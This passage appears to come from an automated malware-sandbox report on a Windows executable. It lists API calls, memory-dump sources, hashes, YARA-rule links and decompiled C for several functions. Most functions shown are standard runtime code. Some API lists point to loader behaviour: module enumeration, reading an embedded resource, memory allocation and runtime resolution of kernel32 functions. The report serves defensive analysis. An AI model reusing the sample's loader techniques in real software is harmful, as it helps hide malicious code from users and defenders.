                                                                                                                                                                                          0x00402488
                                                                                                                                                                                          0x00402480
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401c55
                                                                                                                                                                                          0x00401c62
                                                                                                                                                                                          0x00401c67
                                                                                                                                                                                          0x00401c6a
                                                                                                                                                                                          0x00401c6c
                                                                                                                                                                                          0x00401c73
                                                                                                                                                                                          0x00401c73
                                                                                                                                                                                          0x00401c77
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401c7b
                                                                                                                                                                                          0x00401c8f
                                                                                                                                                                                          0x00401c8f
                                                                                                                                                                                          0x00401c7d
                                                                                                                                                                                          0x00401c7d
                                                                                                                                                                                          0x00401c83
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401c85
                                                                                                                                                                                          0x00401c85
                                                                                                                                                                                          0x00401c88
                                                                                                                                                                                          0x00401c8d
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401c8d
                                                                                                                                                                                          0x00401c83
                                                                                                                                                                                          0x00401c98
                                                                                                                                                                                          0x00401c9a
                                                                                                                                                                                          0x00401cbd
                                                                                                                                                                                          0x00401cc2
                                                                                                                                                                                          0x00401cc5
                                                                                                                                                                                          0x00401cc7
                                                                                                                                                                                          0x00401cd0
                                                                                                                                                                                          0x00401cd0
                                                                                                                                                                                          0x00401cd2
                                                                                                                                                                                          0x00401cd4
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401cd6
                                                                                                                                                                                          0x00401cd8
                                                                                                                                                                                          0x00401cec
                                                                                                                                                                                          0x00401cec
                                                                                                                                                                                          0x00401cda
                                                                                                                                                                                          0x00401cda
                                                                                                                                                                                          0x00401cdd
                                                                                                                                                                                          0x00401ce0
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401ce2
                                                                                                                                                                                          0x00401ce2
                                                                                                                                                                                          0x00401ce5
                                                                                                                                                                                          0x00401ce8
                                                                                                                                                                                          0x00401cea
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401cea
                                                                                                                                                                                          0x00401ce0
                                                                                                                                                                                          0x00401cf5
                                                                                                                                                                                          0x00401cf5
                                                                                                                                                                                          0x00401cf7
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401cf9
                                                                                                                                                                                          0x00401d02
                                                                                                                                                                                          0x00401d07
                                                                                                                                                                                          0x00401d09
                                                                                                                                                                                          0x00401d10
                                                                                                                                                                                          0x00401d1d
                                                                                                                                                                                          0x00401d22
                                                                                                                                                                                          0x00401d25
                                                                                                                                                                                          0x00401d27
                                                                                                                                                                                          0x00401d30
                                                                                                                                                                                          0x00401d30
                                                                                                                                                                                          0x00401d32
                                                                                                                                                                                          0x00401d34
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401d36
                                                                                                                                                                                          0x00401d38
                                                                                                                                                                                          0x00401d4c
                                                                                                                                                                                          0x00401d4c
                                                                                                                                                                                          0x00401d3a
                                                                                                                                                                                          0x00401d3a
                                                                                                                                                                                          0x00401d3d
                                                                                                                                                                                          0x00401d40
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401d42
                                                                                                                                                                                          0x00401d42
                                                                                                                                                                                          0x00401d45
                                                                                                                                                                                          0x00401d48
                                                                                                                                                                                          0x00401d4a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401d4a
                                                                                                                                                                                          0x00401d40
                                                                                                                                                                                          0x00401d55
                                                                                                                                                                                          0x00401d55
                                                                                                                                                                                          0x00401d57
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401d5d
                                                                                                                                                                                          0x00401d6a
                                                                                                                                                                                          0x00401d6f
                                                                                                                                                                                          0x00401d72
                                                                                                                                                                                          0x00401d74
                                                                                                                                                                                          0x00401d80
                                                                                                                                                                                          0x00401d80
                                                                                                                                                                                          0x00401d82
                                                                                                                                                                                          0x00401d84
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401d86
                                                                                                                                                                                          0x00401d88
                                                                                                                                                                                          0x00401d9c
                                                                                                                                                                                          0x00401d9c
                                                                                                                                                                                          0x00401d8a
                                                                                                                                                                                          0x00401d8a
                                                                                                                                                                                          0x00401d8d
                                                                                                                                                                                          0x00401d90
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401d92
                                                                                                                                                                                          0x00401d92
                                                                                                                                                                                          0x00401d95
                                                                                                                                                                                          0x00401d98
                                                                                                                                                                                          0x00401d9a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401d9a
                                                                                                                                                                                          0x00401d90
                                                                                                                                                                                          0x00401da5
                                                                                                                                                                                          0x00401da5
                                                                                                                                                                                          0x00401da7
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401da7
                                                                                                                                                                                          0x00401da0
                                                                                                                                                                                          0x00401da2
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401da2
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401d57
                                                                                                                                                                                          0x00401d50
                                                                                                                                                                                          0x00401d52
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401dad
                                                                                                                                                                                          0x00401db6
                                                                                                                                                                                          0x00401dbb
                                                                                                                                                                                          0x00401dbb
                                                                                                                                                                                          0x00401d10
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401d09
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401cf7
                                                                                                                                                                                          0x00401cf0
                                                                                                                                                                                          0x00401cf2
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401c9c
                                                                                                                                                                                          0x00401c9c
                                                                                                                                                                                          0x00401c9d
                                                                                                                                                                                          0x00401caf
                                                                                                                                                                                          0x00401caf
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401c9a
                                                                                                                                                                                          0x00401c93
                                                                                                                                                                                          0x00401c95
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00401c95
                                                                                                                                                                                          0x00401c4f
                                                                                                                                                                                          0x00000000

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • OleInitialize.OLE32(00000000), ref: 004019FD
                                                                                                                                                                                          • _getenv.LIBCMT ref: 00401ABA
                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32 ref: 00401ACD
                                                                                                                                                                                          • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
                                                                                                                                                                                          • Module32First.KERNEL32 ref: 00401C48
                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
                                                                                                                                                                                          • Module32Next.KERNEL32 ref: 00401D02
                                                                                                                                                                                          • Module32Next.KERNEL32 ref: 00401DB6
                                                                                                                                                                                          • FindCloseChangeNotification.KERNEL32(00000000), ref: 00401DC4
                                                                                                                                                                                          • GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
                                                                                                                                                                                          • FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
                                                                                                                                                                                          • LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
                                                                                                                                                                                          • LockResource.KERNEL32(00000000), ref: 00401EA7
                                                                                                                                                                                          • SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
                                                                                                                                                                                          • _malloc.LIBCMT ref: 00401EBA
                                                                                                                                                                                          • _memset.LIBCMT ref: 00401EDD
                                                                                                                                                                                          • SizeofResource.KERNEL32(00000000,?), ref: 00401F02
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: Resource$Module32$CloseFindHandleNextSizeof$ChangeCreateCurrentFirstInitializeLoadLockModuleNotificationProcessSnapshotToolhelp32_getenv_malloc_memset
                                                                                                                                                                                          • String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
                                                                                                                                                                                          • API String ID: 2366190142-2962942730
                                                                                                                                                                                          • Opcode ID: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
                                                                                                                                                                                          • Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
                                                                                                                                                                                          • Opcode Fuzzy Hash: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
                                                                                                                                                                                          • Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0081092B, Relevance: 3.8, Strings: 3, Instructions: 90COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID: .$GetProcAddress.$l
                                                                                                                                                                                          • API String ID: 0-2784972518
                                                                                                                                                                                          • Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
                                                                                                                                                                                          • Instruction ID: a7102a0f231689fd65fa398c2c22b4531c2a6e7a60fdd3dc0dfb7c8f969c8fff
                                                                                                                                                                                          • Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
                                                                                                                                                                                          • Instruction Fuzzy Hash: DD3118B6900619DFDB10CF99C880AEDBBF9FF48324F25414AD441E7211D7B1AA85CFA4
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0081003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0081024D
                                                                                                                                                                                          Strings
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: AllocVirtual
                                                                                                                                                                                          • String ID: cess$kernel32.dll
                                                                                                                                                                                          • API String ID: 4275171209-1230238691
                                                                                                                                                                                          • Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
                                                                                                                                                                                          • Instruction ID: 1245eccb59960d837c0c0f177bbe32c1e1dc2af1e1c472da08ebf3fe5f3ab77a
                                                                                                                                                                                          • Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
                                                                                                                                                                                          • Instruction Fuzzy Hash: 97527874A012299FDB64CF58C984BA8BBB5BF09304F1480E9E90DAB351DB70AEC4DF15
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 004018F0, Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 84%
                                                                                                                                                                                          			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25); // executed
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}











                                                                                                                                                                                          0x004018f0
                                                                                                                                                                                          0x004018f2
                                                                                                                                                                                          0x004018f6
                                                                                                                                                                                          0x004018fa
                                                                                                                                                                                          0x00401917
                                                                                                                                                                                          0x0040191a
                                                                                                                                                                                          0x0040192f
                                                                                                                                                                                          0x00401939
                                                                                                                                                                                          0x0040193b
                                                                                                                                                                                          0x0040193e
                                                                                                                                                                                          0x00401940
                                                                                                                                                                                          0x00401949
                                                                                                                                                                                          0x0040195e
                                                                                                                                                                                          0x0040196b
                                                                                                                                                                                          0x00401980
                                                                                                                                                                                          0x0040198a
                                                                                                                                                                                          0x0040198c
                                                                                                                                                                                          0x0040198c
                                                                                                                                                                                          0x0040198f
                                                                                                                                                                                          0x00401991
                                                                                                                                                                                          0x00401991
                                                                                                                                                                                          0x0040198f
                                                                                                                                                                                          0x0040199a
                                                                                                                                                                                          0x004018fc
                                                                                                                                                                                          0x004018fc
                                                                                                                                                                                          0x00401900
                                                                                                                                                                                          0x00401900

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • lstrlenA.KERNEL32(?), ref: 00401906
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
                                                                                                                                                                                          • GetLastError.KERNEL32 ref: 00401940
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
                                                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ByteCharMultiWide$ErrorLastlstrlen
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 3322701435-0
                                                                                                                                                                                          • Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                                                          • Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
                                                                                                                                                                                          • Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                                                          • Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040AF66, Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 63%
                                                                                                                                                                                          			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

















                                                                                                                                                                                          0x0040af66
                                                                                                                                                                                          0x0040af66
                                                                                                                                                                                          0x0040af69
                                                                                                                                                                                          0x0040af7d
                                                                                                                                                                                          0x0040af80
                                                                                                                                                                                          0x0040af88
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040af73
                                                                                                                                                                                          0x0040af79
                                                                                                                                                                                          0x0040af7b
                                                                                                                                                                                          0x0040af8c
                                                                                                                                                                                          0x0040af98
                                                                                                                                                                                          0x0040af9a
                                                                                                                                                                                          0x0040af9a
                                                                                                                                                                                          0x0040afa3
                                                                                                                                                                                          0x0040afad
                                                                                                                                                                                          0x0040afb2
                                                                                                                                                                                          0x0040afb7
                                                                                                                                                                                          0x0040afc5
                                                                                                                                                                                          0x0040afca
                                                                                                                                                                                          0x0040afd0
                                                                                                                                                                                          0x0040aec2
                                                                                                                                                                                          0x0040b6b5
                                                                                                                                                                                          0x0040b6b7
                                                                                                                                                                                          0x0040b6bc
                                                                                                                                                                                          0x0040b6c1
                                                                                                                                                                                          0x0040b6c4
                                                                                                                                                                                          0x0040b6c6
                                                                                                                                                                                          0x0040b6c8
                                                                                                                                                                                          0x0040b6cf
                                                                                                                                                                                          0x0040b714
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040b6d1
                                                                                                                                                                                          0x0040b6d3
                                                                                                                                                                                          0x0040b6d9
                                                                                                                                                                                          0x0040b6de
                                                                                                                                                                                          0x0040b6e4
                                                                                                                                                                                          0x0040b6e7
                                                                                                                                                                                          0x0040b6e9
                                                                                                                                                                                          0x0040b6eb
                                                                                                                                                                                          0x0040b6ec
                                                                                                                                                                                          0x0040b6ed
                                                                                                                                                                                          0x0040b6f3
                                                                                                                                                                                          0x0040b6f4
                                                                                                                                                                                          0x0040b6fb
                                                                                                                                                                                          0x0040b700
                                                                                                                                                                                          0x0040b704
                                                                                                                                                                                          0x0040b706
                                                                                                                                                                                          0x0040b715
                                                                                                                                                                                          0x0040b723
                                                                                                                                                                                          0x0040b725
                                                                                                                                                                                          0x0040b727
                                                                                                                                                                                          0x0040b73a
                                                                                                                                                                                          0x0040b73c
                                                                                                                                                                                          0x0040b725
                                                                                                                                                                                          0x0040b704
                                                                                                                                                                                          0x0040b6cf
                                                                                                                                                                                          0x0040b742
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040af7b
                                                                                                                                                                                          0x0040af8b
                                                                                                                                                                                          0x00000000

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                                                            • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                                                                                                                                                                            • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                                                            • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                                                          • std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3
                                                                                                                                                                                            • Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08
                                                                                                                                                                                          • std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
                                                                                                                                                                                          • __CxxThrowException@8.LIBCMT ref: 0040AFC5
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 1411284514-0
                                                                                                                                                                                          • Opcode ID: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
                                                                                                                                                                                          • Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
                                                                                                                                                                                          • Opcode Fuzzy Hash: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
                                                                                                                                                                                          • Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00810DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          APIs
                                                                                                                                                                                          • SetErrorMode.KERNEL32(00000400,?,?,00810223,?,?), ref: 00810E02
                                                                                                                                                                                          • SetErrorMode.KERNEL32(00000000,?,?,00810223,?,?), ref: 00810E07
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ErrorMode
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 2340568224-0
                                                                                                                                                                                          • Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                                                                                                                                                          • Instruction ID: d9b5a29f62cd660afc4ddf955386f6dfc16a9e5eecd422bfa4b0e76245751c81
                                                                                                                                                                                          • Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                                                                                                                                                          • Instruction Fuzzy Hash: F0D0123114512C77D7402A95DC09BCD7B1CDF05B67F008011FB0DD9181CBB0998046E5
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040E7EE, Relevance: 3.0, APIs: 2, Instructions: 8COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 100%
                                                                                                                                                                                          			E0040E7EE(int _a4) {

				E0040E7C3(_a4); // executed
				ExitProcess(_a4);
			}



                                                                                                                                                                                          0x0040e7f6
                                                                                                                                                                                          0x0040e7ff

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • ___crtCorExitProcess.LIBCMT ref: 0040E7F6
                                                                                                                                                                                            • Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
                                                                                                                                                                                            • Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
                                                                                                                                                                                            • Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA
                                                                                                                                                                                          • ExitProcess.KERNEL32 ref: 0040E7FF
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: ExitProcess$AddressHandleModuleProc___crt
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 2427264223-0
                                                                                                                                                                                          • Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
                                                                                                                                                                                          • Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
                                                                                                                                                                                          • Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
                                                                                                                                                                                          • Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040D534, Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 100%
                                                                                                                                                                                          			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}




                                                                                                                                                                                          0x0040d549
                                                                                                                                                                                          0x0040d54f
                                                                                                                                                                                          0x0040d556
                                                                                                                                                                                          0x0040d55d
                                                                                                                                                                                          0x0040d563
                                                                                                                                                                                          0x0040d559
                                                                                                                                                                                          0x0040d559
                                                                                                                                                                                          0x0040d559

                                                                                                                                                                                          APIs
                                                                                                                                                                                          • HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID: CreateHeap
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID: 10892065-0
                                                                                                                                                                                          • Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                                                          • Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
                                                                                                                                                                                          • Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                                                          • Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 0040EA0A, Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 25%
                                                                                                                                                                                          			E0040EA0A(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E0040E8DE(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}









                                                                                                                                                                                          0x0040ea0f
                                                                                                                                                                                          0x0040ea11
                                                                                                                                                                                          0x0040ea13
                                                                                                                                                                                          0x0040ea16
